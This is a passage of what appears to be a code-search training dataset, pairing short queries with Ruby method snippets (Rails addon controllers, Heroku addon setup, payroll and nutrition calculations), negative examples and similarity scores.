"def calculo_de_sueldo(attr={})\r\n retencion = @salario * 0.1\r\n salud = @salario * 0.07\r\n pension = @salario * 0.12\r\n sueldo = @salario - retencion - salud - pension\r\n end",
"def irpolialcoholesp\n vag=(valorpolialcoholesp * 100) / 90\n vag.round(2)\n end",
"def denom()\n @denominador\n end",
"def jeuTermine\n\t\t@grille.score.recupererTemps(self.timer)\n\t\tscoreFinal = @grille.score.calculerScoreFinal\n\t\t@@joueur.score = scoreFinal > 0 ? scoreFinal : 0\n\t\tself.lancementFinDeJeu\n\t\tself\n\tend",
"def sell_value(penny)\n (Item.find(item_id).price_w * sell_w)*(1.00+(penny*0.015))\n end",
"def porc_grasa\n\t\t(1.2 * self.indice_masa_corporal + 0.23 * edad - 10.8 * sexo - 5.4).round(1)\n\tend",
"def penjumlahan(nilai_1, nilai_2)\n p = nilai_2-nilai_1\n return p\n nilai_1 - nilai_2\n end",
"def irpoliinsaturadasp\n vag=(valorgrasaspolip * 100) / 70\n vag.round(2)\n end",
"def getBonus\r\n @bonus = super.getSalario / (2*100)\r\n end",
"def valoralmidonp\n\t\tvag=(almidon * 70) / 100\n vag.round(2)\n\tend",
"def special_prices\n prices\n end",
"def fin\n empl = Employeur.instance\n return @debut + 7 * empl.semaines_par_paie\n end",
"def huellaAmbiental\r\n indiceCarbono = 0.0\r\n if @geiTotal < 800.0\r\n indiceCarbono = 1.0\r\n elsif @geiTotal <= 1200.0\r\n indiceCarbono = 2.0\r\n else\r\n indiceCarbono = 3.0\r\n end\r\n\r\n indiceEnergia = 0.0\r\n if kcalPlato < 670.0\r\n calorias = 1.00\r\n elsif kcalPlato <= 830.0\r\n calorias = 2.0\r\n else\r\n calorias = 3.0\r\n end\r\n\r\n return (indiceCarbono + indiceEnergia)/2\r\n end",
"def get_price_middleman_entero\n price ? price : 0\n end",
"def porcentaje_lipidos\n auxNodo1 = @lista_alimentos.head\n auxNodo2 = @gramos.head\n porcentaje_lip = 0\n while(auxNodo1 != nil && auxNodo2 != nil)\n porcentaje_lip += (auxNodo1.value.lipidos * auxNodo2.value) / 100\n auxNodo1 = auxNodo1.next\n auxNodo2 = auxNodo2.next\n end\n return porcentaje_lip.round(1)\n end",
"def french_insee_number; end",
"def calculoDiametro(raio)\n return raio * 2\nend",
"def cost\n 0.89\n end",
"def rockmelons\n [Pack.new(3, Money.new(595, 'NZD')),\n Pack.new(5, Money.new(995, 'NZD')),\n Pack.new(9, Money.new(1699, 'NZD'))]\n end",
"def terreno\n\t\treturn @terreno*@cantidad\n\tend",
"def print_suma_lyginiu\n res = suma_lyginiu(@array)\n puts \"Suma visu lyginiu skaiciu masyvo: #{res}\"\n res\n end"
] |
[
"0.70341676",
"0.69974715",
"0.681471",
"0.66220915",
"0.64249563",
"0.64218134",
"0.64130425",
"0.6388845",
"0.6377662",
"0.6339896",
"0.63332474",
"0.6299804",
"0.62984234",
"0.6284372",
"0.6255349",
"0.6245225",
"0.6238482",
"0.6184443",
"0.61788225",
"0.61601937",
"0.61576724",
"0.6150327",
"0.6144882",
"0.61401135",
"0.61143416",
"0.6089733",
"0.6087863",
"0.60865396",
"0.6059786",
"0.6054214",
"0.6051307",
"0.6020482",
"0.6020174",
"0.60197544",
"0.60099566",
"0.6005367",
"0.5989267",
"0.59876436",
"0.5960054",
"0.5957558",
"0.59532493",
"0.59452266",
"0.59320426",
"0.5924204",
"0.59130687",
"0.5898501",
"0.58925855",
"0.58897907",
"0.58880323",
"0.5887914",
"0.5884362",
"0.5882487",
"0.58708036",
"0.58698034",
"0.586933",
"0.58540535",
"0.5853792",
"0.5849814",
"0.5848477",
"0.5847987",
"0.5847896",
"0.5845146",
"0.5842168",
"0.58389574",
"0.583495",
"0.58282137",
"0.5818487",
"0.5818275",
"0.5817804",
"0.5815334",
"0.58141744",
"0.5812479",
"0.5811794",
"0.58081234",
"0.58052343",
"0.5803391",
"0.5802418",
"0.5797964",
"0.57979274",
"0.5782634",
"0.5779868",
"0.5778397",
"0.57783854",
"0.5777498",
"0.57772154",
"0.57728034",
"0.5770681",
"0.57652366",
"0.5760469",
"0.57500744",
"0.575006",
"0.57487774",
"0.57455",
"0.5745028",
"0.5740938",
"0.57293904",
"0.57283944",
"0.57280433",
"0.57091427",
"0.57045865",
"0.57036376"
] |
0.0
|
-1
|
used in their solution
|
def initialize(rank, suit)
@rank = rank
@suit = suit
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def private; end",
"def probers; end",
"def schubert; end",
"def stderrs; end",
"def suivre; end",
"def malts; end",
"def formation; end",
"def terpene; end",
"def schumann; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def berlioz; end",
"def operations; end",
"def operations; end",
"def anchored; end",
"def villian; end",
"def verdi; end",
"def algorithms; end",
"def algorithms; end",
"def algorithms; end",
"def algorithms; end",
"def algorithms; end",
"def trd; end",
"def offences_by; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def transformations; end",
"def bs; end",
"def intensifier; end",
"def rassoc(p0) end",
"def pos() end",
"def pos() end",
"def pos() end",
"def pos() end",
"def alg; end",
"def feruchemist; end",
"def apply\n\t\t\n\tend",
"def apply\n\t\t\n\tend",
"def implementation; end",
"def implementation; end",
"def r; end",
"def r; end",
"def ismn; end",
"def calculated; end",
"def parts; end",
"def parts; end",
"def parts; end",
"def lsi; end",
"def romeo_and_juliet; end",
"def blg; end",
"def isp; end",
"def isp; end",
"def deco_pos; end",
"def dh; end",
"def celebration; end",
"def sld; end",
"def gounod; end",
"def loc; end",
"def loc; end",
"def loc; end",
"def dv; end",
"def jack_handey; end",
"def tld; end",
"def tld; end",
"def operation; end",
"def nn\n end",
"def who_we_are\r\n end",
"def probers=(_arg0); end",
"def position; end",
"def position; end",
"def position; end",
"def position; end",
"def position; end",
"def position; end",
"def position; end",
"def position; end",
"def rossini; end",
"def refutal()\n end",
"def processor; end",
"def alternatives; end",
"def transforms; end",
"def internship_passed; end",
"def index(p0) end",
"def index(p0) end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def bellini; end",
"def parslet; end",
"def parslet; end"
] |
[
"0.714414",
"0.68340576",
"0.6587517",
"0.6575134",
"0.6473281",
"0.641674",
"0.6400062",
"0.6391294",
"0.63888365",
"0.6387626",
"0.6387626",
"0.6387626",
"0.6387626",
"0.6375789",
"0.63508105",
"0.63508105",
"0.63049036",
"0.6287088",
"0.6272002",
"0.6178363",
"0.6178363",
"0.6178363",
"0.6178363",
"0.6178363",
"0.6136075",
"0.6097369",
"0.60932904",
"0.60932904",
"0.60932904",
"0.60932904",
"0.60932904",
"0.60932904",
"0.6090945",
"0.6081824",
"0.6048584",
"0.6017992",
"0.6004824",
"0.6004824",
"0.6004824",
"0.6004824",
"0.5985446",
"0.5949384",
"0.59448177",
"0.59448177",
"0.5940496",
"0.5940496",
"0.592815",
"0.592815",
"0.5914775",
"0.5911457",
"0.590596",
"0.590596",
"0.590596",
"0.58937675",
"0.5891135",
"0.58772194",
"0.5865131",
"0.5865131",
"0.5861783",
"0.58552516",
"0.58474135",
"0.5834716",
"0.58318496",
"0.58316815",
"0.58316815",
"0.58316815",
"0.58285105",
"0.5808061",
"0.58043075",
"0.58043075",
"0.5802062",
"0.5793624",
"0.5792689",
"0.5773332",
"0.576569",
"0.576569",
"0.576569",
"0.576569",
"0.576569",
"0.576569",
"0.576569",
"0.576569",
"0.5750753",
"0.5749317",
"0.57397515",
"0.57381237",
"0.5736537",
"0.5725012",
"0.5719938",
"0.5719938",
"0.5716928",
"0.5716928",
"0.5716928",
"0.5716928",
"0.5716928",
"0.5716928",
"0.5716928",
"0.5716928",
"0.5706396",
"0.57004154",
"0.57004154"
] |
0.0
|
-1
|
GET /xmt/addons GET /xmt/addons.json
|
def index
@apps = Addon.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_addons(app=nil)\n path = if app\n \"/apps/#{app}/addons\"\n else\n \"/addons\"\n end\n request(\n :expects => 200,\n :method => :get,\n :path => path\n )\n end",
"def get_clients_addons(params = {})\n\t\tparams.merge!(:action => 'getclientsaddons')\n\t\tsend_request(params)\n\tend",
"def index\n validate_arguments!\n\n installed = api.get_addons(app).body\n if installed.empty?\n display(\"#{app} has no add-ons.\")\n else\n available, pending = installed.partition { |a| a['configured'] }\n\n unless available.empty?\n styled_header(\"#{app} Configured Add-ons\")\n styled_array(available.map do |a|\n [a['name'], a['attachment_name'] || '']\n end)\n end\n\n unless pending.empty?\n styled_header(\"#{app} Add-ons to Configure\")\n styled_array(pending.map do |a|\n [a['name'], app_addon_url(a['name'])]\n end)\n end\n end\n end",
"def addons\n []\n end",
"def index\n installed = heroku.installed_addons(app)\n if installed.empty?\n display \"No addons installed\"\n else\n available, pending = installed.partition { |a| a['configured'] }\n\n available.map do |a|\n if a['attachment_name']\n a['name'] + ' => ' + a['attachment_name']\n else\n a['name']\n end\n end.sort.each do |addon|\n display(addon)\n end\n\n unless pending.empty?\n display \"\\n--- not configured ---\"\n pending.map { |a| a['name'] }.sort.each do |addon|\n display addon.ljust(24) + \"http://#{heroku.host}/myapps/#{app}/addons/#{addon}\"\n end\n end\n end\n end",
"def list\n addons = heroku.addons(options)\n if addons.empty?\n display \"No addons available currently\"\n else\n partitioned_addons = partition_addons(addons)\n partitioned_addons.each do |key, addons|\n partitioned_addons[key] = format_for_display(addons)\n end\n display_object(partitioned_addons)\n end\n end",
"def addons(app_env)\n app_setting_list('addons', app_env)\n end",
"def list_addons\n Dir.glob(\"/var/lib/apollo/addons/*.gem\")\n end",
"def index\n @user_addons = UserAddon.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_addons }\n end\n end",
"def default_addons\n []\n end",
"def list_disponible_addons()\n list = Array.new\n addons = Array.new\n filename = \"\"\n file = \"\"\n\n Dir.foreach(@addons_xml) { |x| \n if !@no_way.index(x)\n list.push x \n end\n }\n\n list.each do |l|\n if !@no_way.index(l)\n filename.concat(@addons_xml)\n filename << \"/\" << l\n\n file = File.new( filename , \"r\")\n addons.push OFAddon.new(file)\n\n file = nil\n filename = \"\"\n end\n\n end\n\n return addons\n end",
"def list\n addons = heroku.addons\n if addons.empty?\n display \"No addons available currently\"\n else\n available, beta = addons.partition { |a| !a['beta'] }\n display_addons(available)\n if !beta.empty?\n display \"\\n--- beta ---\"\n display_addons(beta)\n end\n end\n end",
"def index\n @addons_combos = AddonsCombo.all\n end",
"def addons(app_env)\n addons_hash = {}\n app_setting_list('addons', app_env).each do |setting|\n name, slug = setting.split(':')\n addons_hash[name] = slug\n end\n addons_hash\n end",
"def list_installed_addons()\n list = Array.new\n addons = Array.new\n \n Dir.foreach(@addons) {|x| list.push x }\n \n list.each do |l|\n if !@no_way.index(l)\n addons.push l\n end\n end\n \n return addons\n end",
"def show\n respond_to do |format|\n format.json {render :json => @addon_list_item.to_json }\n end\n end",
"def index\n @addon_list_items = AddonListItem.all\n end",
"def set_addons_combo\n @addons_combo = AddonsCombo.find(params[:id])\n end",
"def index\n @extensions = Extension.all\n end",
"def all_addons\n @all_addons ||= all_rails_engines.select do |engine|\n engine.methods.include?(:addon_name)\n end\n end",
"def index\n \n @store_detail = StoreDetail.find(params[:store_detail_id])\n puts(\"methods are vvv\" ,@store_detail.methods)\n @addons = @store_detail.addons\n \n end",
"def load_addons\n # load ~/.straight/addons.yml\n addons = YAML.load_file(STRAIGHT_CONFIG_PATH + '/addons.yml')\n addons.each do |name, addon|\n StraightServer.logger.info \"Loading #{name} addon\"\n if addon['path'] # First, check the ~/.straight/addons dir\n require STRAIGHT_CONFIG_PATH + '/' + addon['path']\n else # then assume it's already loaded using rubygems\n require name\n end\n # extending the current server object with the addon\n extend Kernel.const_get(\"StraightServer::Addon::#{addon['module']}\")\n end if addons\n end",
"def set_addon\n @addon = Addon.find(params[:id])\n end",
"def set_addon\n @addon = Addon.find(params[:id])\n end",
"def addon_params\n params.require(:xmt_addon).permit!\n end",
"def index\n @invoice_addon_line_items = InvoiceAddonLineItem.all\n end",
"def activatedAddons \n \"activatedAddons\" \n end",
"def set_addon\n @addon = Addon.all.find {|a| a.name == params[:id]}\n end",
"def index\n respond_with Extension.all\n end",
"def get_addons\n res = product_options.map { |po| po.name }.join(', ')\n unless res.blank?\n res = \"(#{res})\"\n end\n res\n end",
"def listex\n url = prefix + \"listex\"\n return response(url)\n end",
"def index\n @hooks = Hook.all\n respond_with(@hooks)\n end",
"def show\n @store_detail = StoreDetail.find(params[:store_detail_id])\n @addon = @store_detail.addons.find(params[:id])\n end",
"def listex\n url = prefix + \"listex\"\n return response(url)\n end",
"def index\n if api_request?\n @shop_special_offers = Shop::SpecialOffer.buyable_by_character(current_character)\n else\n @shop_special_offers = Shop::SpecialOffer.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: include_root(@shop_special_offers, :special_offer) }\n end\n end",
"def index\n @add_ons = @game.add_ons.all\n end",
"def index\n @dexterity_mods = DexterityMod.all\n\n render json: @dexterity_mods\n end",
"def index\n @specialties = Specialty.all\n\n render json: @specialties\n end",
"def index\n @panel_subscriptions = Panel::Subscription.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @panel_subscriptions }\n end\n end",
"def show\n @extension_versions_urls = @extension.sorted_extension_versions.map do |version|\n api_v1_extension_version_url(@extension, version)\n end\n end",
"def index\n @admin_skills = Admin::Skill.all\n\n render json: @admin_skills\n end",
"def setup_addons\n authorize unless @heroku\n each_heroku_app do |heroku_env, app_name, repo|\n # get the addons that we are aiming towards\n addons = @config.addons(heroku_env)\n\n # get the addons that are already on the servers\n existing_addons = (@heroku.installed_addons(app_name) || []).map{|a| a[\"name\"]}\n\n # all apps need the shared database\n addons << \"shared-database:5mb\" unless addons.index(\"shared-database:5mb\") || addons.index(\"shared-database:20gb\")\n\n # add \"custom_domains\" if that addon doesnt already exist\n # and we have domains configured for this app\n addons << \"custom_domains:basic\" unless @config.domains(heroku_env).empty? or\n addons.any?{|a| a =~ /custom_domains/} or\n existing_addons.any?{|a| a =~ /custom_domains/}\n\n # remove the addons that need to be removed\n existing_addons.each do |existing_addon|\n # check to see if we need to delete this addon\n unless addons.include?(existing_addon)\n # delete this addon if they arent on the approved list\n destroy_command \"heroku addons:remove #{existing_addon} --app #{app_name}\"\n end\n end\n\n # add the addons that dont exist already\n addons.each do |addon|\n # check to see if we need to add this addon\n unless existing_addons.include?(addon)\n # add this addon if they are not already added\n creation_command \"heroku addons:add #{addon} --app #{app_name}\"\n end\n end\n\n # display the destructive commands\n output_destroy_commands(app_name)\n end\n end",
"def repo1\n addons = Addon.where(\"lower(repos.name) = ?\", params[:repo_name].downcase)\n render json: to_v1_repo_hashes(addons)\n end",
"def get_kubernetes_addon_repository_by_moid_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.get_kubernetes_addon_repository_by_moid ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.get_kubernetes_addon_repository_by_moid\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonRepositories/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesAddonRepository'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.get_kubernetes_addon_repository_by_moid\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#get_kubernetes_addon_repository_by_moid\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @extras = Extra.all\n\n render json: @extras\n end",
"def list_active_aos_versions(args = {}) \n get(\"/aosversions.json/\", args)\nend",
"def index\n @food_item_add_ons = FoodItemAddOn.all\n end",
"def index\n @group_addon_lists = GroupAddonList.all\n end",
"def set_addon\n @addon_list_item = AddonListItem.find(params[:id])\n end",
"def index\n @extintors = Extintor.all\n end",
"def index\n\n begin\n\n @accounts = Account.active\n render json: @accounts.to_json(:except=>:password, :methods => [:subdomains, :template] )\n\n rescue => e\n render :json => e.message, :status => :unprocessable_entity\n end\n\n end",
"def index\n @user_exts = UserExt.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_exts }\n end\n end",
"def index\n @labs = Lab.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @labs }\n end\n end",
"def index\n @labs = Lab.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @labs }\n end\n end",
"def open\n addon = args.shift\n app_addons = heroku.installed_addons(app).map { |a| a[\"name\"] }\n matches = app_addons.select { |a| a =~ /^#{addon}/ }\n\n case matches.length\n when 0 then\n if heroku.addons.any? {|a| a['name'] =~ /^#{addon}/ }\n error \"Addon not installed: #{addon}\"\n else\n error \"Unknown addon: #{addon}\"\n end\n when 1 then\n addon_to_open = matches.first\n display \"Opening #{addon_to_open} for #{app}...\"\n Launchy.open \"https://api.#{heroku.host}/myapps/#{app}/addons/#{addon_to_open}\"\n else\n error \"Ambiguous addon name: #{addon}\"\n end\n end",
"def index\n @servers = Server.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @servers.to_json(:include => { :websites => {:include => :plugins } }) }\n end\n end",
"def enable!( addons )\n Addon.all.destroy\n addons.each { |addon| Addon.create( :name => addon ); run( [addon] ) }\n end",
"def index\n @tools = Tool.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tools }\n end\n end",
"def addon_params\n params.require(:addon).permit(:description, :explanation, :category, :url)\n end",
"def index\n @labs = @course.labs.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @labs }\n end\n end",
"def show\n @user_addon = UserAddon.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_addon }\n end\n end",
"def get_extensions\n get_siteinfo('extensions')['query']['extensions'].collect { |e| e['name'] }\n end",
"def get_kubernetes_addon_definition_by_moid_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.get_kubernetes_addon_definition_by_moid ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.get_kubernetes_addon_definition_by_moid\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonDefinitions/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesAddonDefinition'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.get_kubernetes_addon_definition_by_moid\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#get_kubernetes_addon_definition_by_moid\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def fetch_experiment(id)\n url = @base + \"experiments/#{id}.json?token=#{@token}\"\n puts url\n response = JSON.parse(RestClient.get(url))\nend",
"def enabled\n Addon.all.map { |addon| addon.name }\n end",
"def extensions\n form_data = { 'action' => 'query', 'meta' => 'siteinfo', 'siprop' => 'extensions' }\n res = make_api_request(form_data)\n REXML::XPath.match(res, \"//ext\").inject(Hash.new) do |extensions, extension|\n name = extension.attributes[\"name\"] || \"\"\n extensions[name] = extension.attributes[\"version\"]\n extensions\n end\n end",
"def index\n @api_v1_exercises = Api::V1::Exercise.all\n end",
"def index\n @components = CustomComponent.where(:active => true)\n render json: @components\n end",
"def index\n @offers = Offer.all\n respond_to do |format|\n format.jsonapi { render jsonapi: @offers }\n format.html { @offers }\n end\n end",
"def index\n @api_v1_stores = Store.all\n json_response(@api_v1_stores)\n end",
"def index\n @choices = Choice.all\n\n render json: @choices\n end",
"def index\n @extension_types = ExtensionType.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @extension_types }\n end\n end",
"def get_accounts()\n http_get(accounts_url)\n end",
"def index\n @accounts = Account.all\n Rabl.render(@accounts, 'api/accounts/index', view_path: 'app/views')\n end",
"def index\n render json: current_user.api_keys.api.active, status: 200\n end",
"def get_supported_addons_from_github\n uri_per_page = \"#{AddonsReposForksURI}&per_page=#{@github_results_per_page}\"\n all_forks = execute_request_uri( URI.parse(uri_per_page) )\n\n print \"[INFO] NB Fork Repositories in exo-addons organization (supported and not supported): \",all_forks.length,\"\\n\\n\"\n print \"[INFO][SUPPORTED_ADDONS] --------\\n\"\n all_forks.each {\n |fork_repo|\n # Each supported Addon repository is a fork from eXo blessed (exoplatform organization).\n # This method gets the repository details form GitHub to find parent url information.\n result = execute_request_uri( URI.parse(fork_repo[\"url\"]) )\n parent_ssh_url = result[\"parent\"][\"ssh_url\"];\n\n #check if the parent is in exoplatform organization\n if(parent_ssh_url.include? \"github.com:exoplatform\")\n fork_repo[\"ssh_url_fork_parent\"] = parent_ssh_url\n self.log(INFO,fork_repo[\"name\"], \"git ssh-url: #{result[\"parent\"][\"ssh_url\"]}\")\n @addons_supported.push(fork_repo)\n end\n }\n print \"[INFO][SUPPORTED_ADDONS] --------\\n\"\n end",
"def index\n @total = Extension.count\n @extensions = Extension.index(order: @order, limit: @items, start: @start)\n\n if params[:user]\n @extensions = @extensions.owned_by(params[:user])\n end\n end",
"def curatorAddons _args\n \"curatorAddons _args;\" \n end",
"def show\n case params[:tab]\n when 'collaborates'\n @extensions = @user.collaborated_extensions\n when 'follows'\n @extensions = @user.followed_extensions\n else\n @extensions = @user.owned_extensions.not_hosted\n end\n\n @extensions = @extensions.unscope(where: :enabled) if @user == current_user\n @extensions = @extensions.order(:name).page(params[:page]).per(20)\n end",
"def index\n @plugs = Plug.all\n authorize! :read, @plug\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plugs }\n format.xml # { render json: @plugs }\n end\n end",
"def index\n @extended_warranties = ExtendedWarranty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @extended_warranties }\n end\n end",
"def show\n @server = Server.find(params[:id])\n add_breadcrumb @server.name, [@server]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @server.to_json(:include => { :websites => {:include => :plugins } }) }\n end\n end",
"def events\n url = 'https://api.artic.edu/api/v1/exhibitions?limit=35'\n\n res = RestClient.get(url)\n JSON.parse(res)\nend",
"def show_all\n styled_header('Resources')\n display_addons(get_addons, ['Plan', 'Name', 'Billed to', 'Price'])\n end",
"def index\n @money = Money.all\n require 'net/http'\n require 'json'\n @url = 'https://api.coinmarketcap.com/v1/ticker/'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @lookup_money = JSON.parse(@response)\n end",
"def getex\n url = prefix + \"getex\"\n return response(url)\n end",
"def getex\n url = prefix + \"getex\"\n return response(url)\n end",
"def index\n response = HTTParty.get(\"https://casa-core.herokuapp.com/api/units\", :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n @units = JSON.parse(response.body)\n return @units\n end",
"def main_page_api\n @url = 'https://api.coinmarketcap.com/v1/ticker/'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n # converts response to a Ruby hash \n @coins = JSON.parse(@response)\n @my_coins = [\"XLM\", \"BTC\", \"ADA\", \"STEEM\", \"ETH\"] \n end",
"def get_kubernetes_addon_policy_by_moid_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.get_kubernetes_addon_policy_by_moid ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.get_kubernetes_addon_policy_by_moid\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesAddonPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.get_kubernetes_addon_policy_by_moid\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#get_kubernetes_addon_policy_by_moid\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @api_v1_expenses = Api::V1::Expense.all\n end",
"def index\n @incidents = @quote.incidents.all\n respond_to do |format|\n format.json { render :json => @incidents }\n end\n end",
"def index\n @coins = Coin.all\n render \"index.json.jbuilder\"\n end",
"def addon_params\n params.require(:addon).permit(:addonName, :addonType, :addonSize, :actualPrice, :offerPrice, :quantityAvailable, :hit)\n end",
"def index\n\n @menu_items = uhook_find_menu_items.roots\n respond_to do |format|\n format.xml {\n render :xml => @menu_items\n }\n format.js{\n render :json => Array(@menu_items).to_json(:only => [:caption, :id])\n }\n end\n end",
"def fetch_experiments(page)\n puts page\n url = @base + \"/api/v1/experiments.json?token=#{@token}&page=#{page}\"\n response = JSON.parse(RestClient.get(url))\nend",
"def index\n @subscriptions = current_user.subscriptions.order(:created_at)\n @user = current_user\n\n if not current_user.fitbit.nil?\n begin\n @fitbit_subscriptions = JSON.parse(current_user.fitbit.client.get('/1/user/-/apiSubscriptions.json').body)['apiSubscriptions']\n rescue SocketError\n logger.error \"Can not talk to fitbit\"\n end\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subscriptions }\n end\n end",
"def index\n @subthemes = Subtheme.all\n\n render json: @subthemes\n end",
"def client_modules\n get 'client/modules'\n end",
"def index\n @mod_packs = ModPack.all\n end"
] |
[
"0.80395913",
"0.70687234",
"0.6925943",
"0.69099057",
"0.6887222",
"0.6730861",
"0.6683669",
"0.65749335",
"0.6477819",
"0.64372134",
"0.6391009",
"0.63181365",
"0.622692",
"0.6084708",
"0.60617995",
"0.6024379",
"0.58619875",
"0.5803104",
"0.5785684",
"0.57063586",
"0.5685243",
"0.56820583",
"0.5665404",
"0.5665404",
"0.5617426",
"0.55433154",
"0.5537456",
"0.5526024",
"0.55174965",
"0.5513682",
"0.5510803",
"0.55100656",
"0.5458698",
"0.54285455",
"0.5412036",
"0.5404473",
"0.5348595",
"0.531498",
"0.5310177",
"0.5288873",
"0.52856725",
"0.52798253",
"0.52710533",
"0.5270034",
"0.52679074",
"0.52595204",
"0.5255789",
"0.52488536",
"0.52392757",
"0.520957",
"0.5207774",
"0.52019966",
"0.5199318",
"0.5199318",
"0.5193511",
"0.51765966",
"0.5165897",
"0.51631737",
"0.5155193",
"0.515201",
"0.5136353",
"0.5130259",
"0.51262707",
"0.5110754",
"0.5108649",
"0.50982195",
"0.5098122",
"0.5097498",
"0.5072619",
"0.50711775",
"0.50696564",
"0.5056828",
"0.5051485",
"0.5038813",
"0.5028049",
"0.5022171",
"0.5014143",
"0.50140285",
"0.50119394",
"0.5010105",
"0.5009768",
"0.5009149",
"0.50034976",
"0.49917385",
"0.49791673",
"0.4975673",
"0.4975673",
"0.49747035",
"0.4973737",
"0.49732623",
"0.49698502",
"0.4947073",
"0.49443853",
"0.49430853",
"0.49417153",
"0.49368653",
"0.4933484",
"0.49317873",
"0.49313864",
"0.49312913"
] |
0.60830635
|
14
|
GET /xmt/addons/1 GET /xmt/addons/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
